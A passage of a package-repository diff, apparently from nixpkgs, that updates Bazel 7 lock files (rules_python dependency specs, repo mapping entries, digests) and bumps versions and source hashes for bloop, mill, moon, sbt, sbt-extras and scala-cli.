"\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "8f830ed581b45b82451a40faabb89c84e1a998124ee4212d440e9c6cf70083e5", "type": "zip", - "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\"**/*.py\", \"**/* *\", \"BUILD\", \"WORKSPACE\"]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + "urls": [ + "https://files.pythonhosted.org/packages/6b/f2/919f0fdc93d3991ca074894402074d847be8ac1e1d78e7e9e1c371b69a6f/coverage-6.5.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl" + ] } }, - "pypi__pip_tools": { + "pypi__importlib_metadata": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__importlib_metadata", + "url": "https://files.pythonhosted.org/packages/d7/31/74dcb59a601b95fce3b0334e8fc9db758f78e43075f22aeb3677dfb19f4c/importlib_metadata-1.4.0-py2.py3-none-any.whl", + "sha256": "bdd9b7c397c273bcc9a11d6629a38487cd07154fa255a467bf704cd2c258e359", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__pep517": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__pep517", + "url": "https://files.pythonhosted.org/packages/ee/2f/ef63e64e9429111e73d3d6cbee80591672d16f2725e648ebc52096f3d323/pep517-0.13.0-py3-none-any.whl", + "sha256": "4ba4446d80aed5b5eac6509ade100bff3e7943a8489de249654a5ae9b33ee35b", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__coverage_cp38_x86_64-unknown-linux-gnu": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp38_x86_64-unknown-linux-gnu", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "6b07130585d54fe8dff3d97b93b0e20290de974dc8177c320aeaf23459219c0b", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/bd/a0/e263b115808226fdb2658f1887808c06ac3f1b579ef5dda02309e0d54459/coverage-6.5.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl" + ] + } + }, + "pypi__coverage_cp38_aarch64-apple-darwin": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp38_aarch64-apple-darwin", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "2198ea6fc548de52adc826f62cb18554caedfb1d26548c1b7c88d8f7faa8f6ba", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/07/82/79fa21ceca9a9b091eb3c67e27eb648dade27b2c9e1eb23af47232a2a365/coverage-6.5.0-cp38-cp38-macosx_11_0_arm64.whl" + ] + } + }, + "pypi__packaging": { "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_python~0.4.0~pip_install~pypi__pip_tools", - "url": "https://files.pythonhosted.org/packages/6d/16/75d65bdccd48bb59a08e2bf167b01d8532f65604270d0a292f0f16b7b022/pip_tools-5.5.0-py2.py3-none-any.whl", - "sha256": "10841c1e56c234d610d0466447685b9ea4ee4a2c274f858c0ef3c33d9bd0d985", + "name": "rules_python~0.22.1~internal_deps~pypi__packaging", + "url": "https://files.pythonhosted.org/packages/8f/7b/42582927d281d7cb035609cd3a543ffac89b74f3f4ee8e1c50914bcb57eb/packaging-22.0-py3-none-any.whl", + "sha256": "957e2148ba0e1a3b282772e791ef1d8083648bc131c8ab0c1feba110ce1146c3", "type": "zip", - "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\"**/*.py\", \"**/* *\", \"BUILD\", \"WORKSPACE\"]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" } }, "pypi__setuptools": { "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_python~0.4.0~pip_install~pypi__setuptools", - "url": "https://files.pythonhosted.org/packages/a2/e1/902fbc2f61ad6243cd3d57ffa195a9eb123021ec912ec5d811acf54a39f8/setuptools-57.1.0-py3-none-any.whl", - "sha256": "ddae4c1b9220daf1e32ba9d4e3714df6019c5b583755559be84ff8199f7e1fe3", + "name": "rules_python~0.22.1~internal_deps~pypi__setuptools", + "url": "https://files.pythonhosted.org/packages/7c/5b/3d92b9f0f7ca1645cba48c080b54fe7d8b1033a4e5720091d1631c4266db/setuptools-60.10.0-py3-none-any.whl", + "sha256": "782ef48d58982ddb49920c11a0c5c9c0b02e7d7d1c2ad0aa44e1a1e133051c96", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__zipp": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__zipp", + "url": "https://files.pythonhosted.org/packages/f4/50/cc72c5bcd48f6e98219fc4a88a5227e9e28b81637a99c49feba1d51f4d50/zipp-1.0.0-py2.py3-none-any.whl", + "sha256": "8dda78f06bd1674bd8720df8a50bb47b6e1233c503a4eed8e7810686bde37656", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__colorama": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__colorama", + "url": "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", + "sha256": "4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__build": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__build", + "url": "https://files.pythonhosted.org/packages/03/97/f58c723ff036a8d8b4d3115377c0a37ed05c1f68dd9a0d66dab5e82c5c1c/build-0.9.0-py3-none-any.whl", + "sha256": "38a7a2b7a0bdc61a42a0a67509d88c71ecfc37b393baba770fae34e20929ff69", "type": "zip", - "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\"**/*.py\", \"**/* *\", \"BUILD\", \"WORKSPACE\"]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__coverage_cp310_x86_64-apple-darwin": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp310_x86_64-apple-darwin", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "ef8674b0ee8cc11e2d574e3e2998aea5df5ab242e012286824ea3c6970580e53", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/c4/8d/5ec7d08f4601d2d792563fe31db5e9322c306848fec1e65ec8885927f739/coverage-6.5.0-cp310-cp310-macosx_10_9_x86_64.whl" + ] + } + }, + "pypi__installer": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__installer", + "url": "https://files.pythonhosted.org/packages/e5/ca/1172b6638d52f2d6caa2dd262ec4c811ba59eee96d54a7701930726bce18/installer-0.7.0-py3-none-any.whl", + "sha256": "05d1933f0a5ba7d8d6296bb6d5018e7c94fa473ceb10cf198a92ccea19c27b53", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__more_itertools": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__more_itertools", + "url": "https://files.pythonhosted.org/packages/bd/3f/c4b3dbd315e248f84c388bd4a72b131a29f123ecacc37ffb2b3834546e42/more_itertools-8.13.0-py3-none-any.whl", + "sha256": "c5122bffc5f104d37c1626b8615b511f3427aa5389b94d61e5ef8236bfbc3ddb", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "rules_python~0.22.1", + "bazel_skylib", + "bazel_skylib~1.3.0" + ], + [ + "rules_python~0.22.1", + "bazel_tools", + "bazel_tools" + ], + [ + "rules_python~0.22.1", + "rules_python", + "rules_python~0.22.1" + ] + ] } } } diff --git a/pkgs/development/tools/build-managers/bazel/bazel_7/default.nix b/pkgs/development/tools/build-managers/bazel/bazel_7/default.nix index eb66b676836b9..b3b161db42f5a 100644 --- a/pkgs/development/tools/build-managers/bazel/bazel_7/default.nix +++ b/pkgs/development/tools/build-managers/bazel/bazel_7/default.nix @@ -43,15 +43,15 @@ # Always assume all markers valid (this is needed because we remove markers; they are non-deterministic). # Also, don't clean up environment variables (so that NIX_ environment variables are passed to compilers). , enableNixHacks ? false +, version ? "7.0.2", }: let - version = "7.0.0"; sourceRoot = "."; src = fetchurl { url = "https://github.com/bazelbuild/bazel/releases/download/${version}/bazel-${version}-dist.zip"; - hash = "sha256-R35U9jdAAfQ5qUcbod6deCTa8SnblVEISezF4ZzogXA="; + hash = "sha256-3qK5BXXUPvPkHEAvZMJIGETsvwtA+FSLdaIEpNUE4DU="; }; # Use builtins.fetchurl to avoid IFD, in particular on hydra diff --git a/pkgs/development/tools/build-managers/bazel/bazel_7/protobuf-test.MODULE.bazel.lock b/pkgs/development/tools/build-managers/bazel/bazel_7/protobuf-test.MODULE.bazel.lock index 399b8f72d3e2d..6ceb818302188 100644 --- a/pkgs/development/tools/build-managers/bazel/bazel_7/protobuf-test.MODULE.bazel.lock +++ b/pkgs/development/tools/build-managers/bazel/bazel_7/protobuf-test.MODULE.bazel.lock @@ -937,12 +937,19 @@ "name": "apple_support~1.5.0~apple_cc_configure_extension~local_config_apple_cc_toolchains" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "apple_support~1.5.0", + "bazel_tools", + "bazel_tools" + ] + ] } }, "@@bazel_tools//tools/android:android_extensions.bzl%remote_android_tools_extensions": { "general": { - "bzlTransitiveDigest": "iz3RFYDcsjupaT10sdSPAhA44WL3eDYkTEnYThllj1w=", + "bzlTransitiveDigest": "4x/FXzwoadac6uV9ItZ4eGOyCculGHHrKUhLFNWo3lA=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -964,12 +971,13 @@ "url": "https://maven.google.com/com/android/tools/r8/8.1.56/r8-8.1.56.jar" } } - } + }, + "recordedRepoMappingEntries": [] } }, "@@bazel_tools//tools/cpp:cc_configure.bzl%cc_configure_extension": { "general": { - "bzlTransitiveDigest": "O9sf6ilKWU9Veed02jG9o2HM/xgV/UAyciuFBuxrFRY=", + "bzlTransitiveDigest": "mcsWHq3xORJexV5/4eCvNOLxFOQKV6eli3fkr+tEaqE=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -987,7 +995,14 @@ "name": "bazel_tools~cc_configure_extension~local_config_cc_toolchains" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "bazel_tools", + "bazel_tools", + "bazel_tools" + ] + ] } }, "@@bazel_tools//tools/osx:xcode_configure.bzl%xcode_configure_extension": { @@ -1005,7 +1020,8 @@ "remote_xcode": "" } } - } + }, + "recordedRepoMappingEntries": [] } }, "@@bazel_tools//tools/sh:sh_configure.bzl%sh_configure_extension": { @@ -1021,12 +1037,13 @@ "name": "bazel_tools~sh_configure_extension~local_config_sh" } } - } + }, + "recordedRepoMappingEntries": [] } }, "@@bazel_tools//tools/test:extensions.bzl%remote_coverage_tools_extension": { "general": { - "bzlTransitiveDigest": "cizrA62cv8WUgb0cCmx5B6PRijtr/I4TAWxg/4caNGU=", + "bzlTransitiveDigest": "y48q5zUu2oMiYv7yUyi7rFB0wt14eqiF/RQcWT6vP7I=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -1041,12 +1058,13 @@ ] } } - } + }, + "recordedRepoMappingEntries": [] } }, "@@rules_java~7.1.0//java:extensions.bzl%toolchains": { "general": { - "bzlTransitiveDigest": "iUIRqCK7tkhvcDJCAfPPqSd06IHG0a8HQD0xeQyVAqw=", + "bzlTransitiveDigest": "D02GmifxnV/IhYgspsJMDZ/aE8HxAjXgek5gi6FSto4=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -1581,12 +1599,24 @@ "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_21\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"21\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk21_win//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk21_win//:jdk\",\n)\n" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "rules_java~7.1.0", + "bazel_tools", + "bazel_tools" + ], + [ + "rules_java~7.1.0", + "remote_java_tools", + "rules_java~7.1.0~toolchains~remote_java_tools" + ] + ] } }, "@@rules_jvm_external~4.4.2//:extensions.bzl%maven": { "general": { - "bzlTransitiveDigest": "SNZtnmBkSzitA86+iyWV+lsMoWqTaHkbJeV673xyy3k=", + "bzlTransitiveDigest": "vfN15bfa5VcQIt0lp3UZTznETp3NF8xw9pHYN+3Ma6A=", "accumulatedFileDigests": { "@@rules_jvm_external~4.4.2//:rules_jvm_external_deps_install.json": "10442a5ae27d9ff4c2003e5ab71643bf0d8b48dcf968b4173fa274c3232a8c06" }, @@ -2668,12 +2698,24 @@ "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/sdk-core/2.17.183/sdk-core-2.17.183.jar" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "rules_jvm_external~4.4.2", + "bazel_tools", + "bazel_tools" + ], + [ + "rules_jvm_external~4.4.2", + "rules_jvm_external", + "rules_jvm_external~4.4.2" + ] + ] } }, "@@rules_jvm_external~4.4.2//:non-module-deps.bzl%non_module_deps": { "general": { - "bzlTransitiveDigest": "/rh2kt+7d77UiyuaTMepsRWJdj6Aot4FxGP6oW8S+U0=", + "bzlTransitiveDigest": "zXwz7xFBNBig3QRyd5WAZU3y/6fZvd6jnP6EkJIutS0=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -2688,12 +2730,19 @@ ] } } - } + }, + "recordedRepoMappingEntries": [ + [ + "rules_jvm_external~4.4.2", + "bazel_tools", + "bazel_tools" + ] + ] } }, "@@rules_python~0.10.2//python:extensions.bzl%pip_install": { "general": { - "bzlTransitiveDigest": "CBgAHij2PzinIkeOkoRJcllj6whJIQ5eOHaHNfKikpU=", + "bzlTransitiveDigest": "7AvdSiZR6OSZZhgJCJJYhrJbhi7tTP1EGFGu68oep00=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -2796,7 +2845,19 @@ "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\"**/*.py\", \"**/* *\", \"BUILD\", \"WORKSPACE\"]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "rules_python~0.10.2", + "bazel_tools", + "bazel_tools" + ], + [ + "rules_python~0.10.2", + "rules_python", + "rules_python~0.10.2" + ] + ] } } } diff --git a/pkgs/development/tools/build-managers/bloop/default.nix b/pkgs/development/tools/build-managers/bloop/default.nix index 362fce432ecd0..e56344c400039 100644 --- a/pkgs/development/tools/build-managers/bloop/default.nix +++ b/pkgs/development/tools/build-managers/bloop/default.nix @@ -10,7 +10,7 @@ stdenv.mkDerivation rec { pname = "bloop"; - version = "1.5.13"; + version = "1.5.15"; platform = if stdenv.isLinux && stdenv.isx86_64 then "x86_64-pc-linux" @@ -35,8 +35,8 @@ stdenv.mkDerivation rec { bloop-binary = fetchurl rec { url = "https://github.com/scalacenter/bloop/releases/download/v${version}/bloop-${platform}"; sha256 = - if stdenv.isLinux && stdenv.isx86_64 then "sha256-OgOkkQ2uv1/mutlajfnbKe9YUtWCilaiWef6fZ7m0Qk=" - else if stdenv.isDarwin && stdenv.isx86_64 then "sha256-Xp0FF8/5NQG14OhZgQ7PZTyDC5hNG9q5Qq5q3JlQxA0=" + if stdenv.isLinux && stdenv.isx86_64 then "sha256-bC43GBIGxelSx++I1ElPd8twrr5nDaZHC2G0OCsx5xQ=" + else if stdenv.isDarwin && stdenv.isx86_64 then "sha256-lgWXdhDjE8lIzbUkWFJV3k+muUZaSpsc9n6PuuXv1hc=" else throw "unsupported platform"; }; diff --git a/pkgs/development/tools/build-managers/mill/default.nix b/pkgs/development/tools/build-managers/mill/default.nix index 761aea9cafa23..4afc58bff65f4 100644 --- a/pkgs/development/tools/build-managers/mill/default.nix +++ b/pkgs/development/tools/build-managers/mill/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "mill"; - version = "0.11.6"; + version = "0.11.7"; src = fetchurl { url = "https://github.com/com-lihaoyi/mill/releases/download/${version}/${version}-assembly"; - hash = "sha256-vGhjnOKvR2RdgFx3WsM217SO9gcKZknPaf7LKo3SJPU="; + hash = "sha256-iijKZlQoiIWos+Kdq9hIgiM5yM7xCf11abrJ71LO9jA="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/development/tools/build-managers/moon/default.nix b/pkgs/development/tools/build-managers/moon/default.nix index b8dc4d27b2b9d..69d067c9439b7 100644 --- a/pkgs/development/tools/build-managers/moon/default.nix +++ b/pkgs/development/tools/build-managers/moon/default.nix @@ -9,16 +9,16 @@ rustPlatform.buildRustPackage rec { pname = "moon"; - version = "1.20.1"; + version = "1.22.4"; src = fetchFromGitHub { owner = "moonrepo"; repo = pname; rev = "v${version}"; - hash = "sha256-wAY5jifyjK5jp5nlrwt/Krp96in06SnayTKx8inrf0A="; + hash = "sha256-Hx31oEvf6irURxtLBPaY2unCgW0tBurhSjhBNI1ifng="; }; - cargoHash = "sha256-qfDw+zmhk0M3gItiB7qfgiQCBRvOYBOirJFMyNRr714="; + cargoHash = "sha256-DKktU8w+4TeGSzidjovK9xgis98Gz7BretrO+bpfnTc="; env = { RUSTFLAGS = "-C strip=symbols"; diff --git a/pkgs/development/tools/build-managers/sbt-extras/default.nix b/pkgs/development/tools/build-managers/sbt-extras/default.nix index bd6b512f28424..7d9295e9c6db3 100644 --- a/pkgs/development/tools/build-managers/sbt-extras/default.nix +++ b/pkgs/development/tools/build-managers/sbt-extras/default.nix @@ -3,14 +3,14 @@ stdenv.mkDerivation rec { pname = "sbt-extras"; - rev = "85c92ae7ebeeeb04cce7e405ad6096ea5fd67b22"; - version = "2023-10-24"; + rev = "e3e7378fa325f942da4b0688c83fc42e28bd67f1"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "paulp"; repo = "sbt-extras"; inherit rev; - sha256 = "7T0Fw1sfftxRF9cbQRC3sk87cFM/k1yqDHAkemYbIx8="; + sha256 = "W9aol4bJ5UC1LICDlcV2uQH0YHLpLQwSn4GEBEujeiw="; }; dontBuild = true; diff --git a/pkgs/development/tools/build-managers/sbt/default.nix b/pkgs/development/tools/build-managers/sbt/default.nix index e554268e102a2..580cf127b3c6a 100644 --- a/pkgs/development/tools/build-managers/sbt/default.nix +++ b/pkgs/development/tools/build-managers/sbt/default.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "sbt"; - version = "1.9.8"; + version = "1.9.9"; src = fetchurl { url = "https://github.com/sbt/sbt/releases/download/v${finalAttrs.version}/sbt-${finalAttrs.version}.tgz"; - hash = "sha256-qG//418Ga2XV4C67SiytHPu0GPgwv19z0n8wc+7K/c0="; + hash = "sha256-xXyuYMISLKG7p3GE37TQ0l/GwYgFOUqzarYgiwwPJi8="; }; postPatch = '' diff --git a/pkgs/development/tools/build-managers/scala-cli/sources.json b/pkgs/development/tools/build-managers/scala-cli/sources.json index 20718c2c909fe..f6a82483343f1 100644 --- a/pkgs/development/tools/build-managers/scala-cli/sources.json +++ b/pkgs/development/tools/build-managers/scala-cli/sources.json @@ -1,21 +1,21 @@ { - "version": "1.1.1", + "version": "1.1.3", "assets": { "aarch64-darwin": { "asset": "scala-cli-aarch64-apple-darwin.gz", - "sha256": "1sxfwdgqzhxxhgj0kid10iay4sqq9ajndnncxl7jhh2ib59bavj2" + "sha256": "03rxllpnr93ms6j0fny7h2sym9pj1q8xrj0jmhapdjv582j4by82" }, "aarch64-linux": { "asset": "scala-cli-aarch64-pc-linux.gz", - "sha256": "1z3xvyjs69iy0y59q2bwpa6blslhc1wdgwrm8xsfd0x8y0dg8kq2" + "sha256": "1msi2ylx2qf6k5gm1jj31qh9qbrxp5fydybzb25zclnpwwg1jlyc" }, "x86_64-darwin": { "asset": "scala-cli-x86_64-apple-darwin.gz", - "sha256": "05xincadr0y5kly8j058pn41wa6qmqcf6p62s45h881y3ydghxch" + "sha256": "1sl3q59mb56g6795c8sm9kjpdgmpcdd23fxhaw49px2dvyryvxyy" }, "x86_64-linux": { "asset": "scala-cli-x86_64-pc-linux.gz", - "sha256": 